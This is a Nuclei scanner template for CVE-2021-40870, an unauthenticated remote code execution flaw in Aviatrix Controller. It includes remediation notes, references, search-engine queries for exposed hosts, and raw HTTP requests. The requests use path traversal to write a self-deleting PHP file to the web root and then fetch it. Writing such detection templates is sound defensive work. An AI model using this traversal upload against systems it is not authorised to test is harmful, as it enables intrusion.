Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution

id: CVE-2021-40870

info:
  name: Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution
  author: pikpikcu
  severity: critical
  description: Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability.
  reference:
    - https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021
    - https://wearetradecraft.com/advisories/tc-2021-0002/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40870
    - http://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-40870
    cwe-id: CWE-23
    epss-score: 0.93019
    epss-percentile: 0.99818
    cpe: cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: aviatrix
    product: controller
    shodan-query: http.title:"aviatrix cloud controller"
    fofa-query: title="aviatrix cloud controller"
    google-query: intitle:"aviatrix cloud controller"
  tags: cve2021,cve,intrusive,packetstorm,rce,aviatrix,kev,fileupload,vkev,vuln
variables:
  string: "CVE-2021-40870"

http:
  - raw:
      - |
        POST /v1/backend1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=<?php echo md5("{{string}}");unlink(__FILE__);?>
      - |
        GET /v1/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200
# digest: 490a00463044022039c2b9d6e9efc7ba8e9aede8f0ed2515040ab2b08d6ced11bf2df1339c87ddee0220417f3db78a2979e010360845267bf5040252d79a5402195710a9d58899c45b32:922c64590222798bb761d5b6d8e72950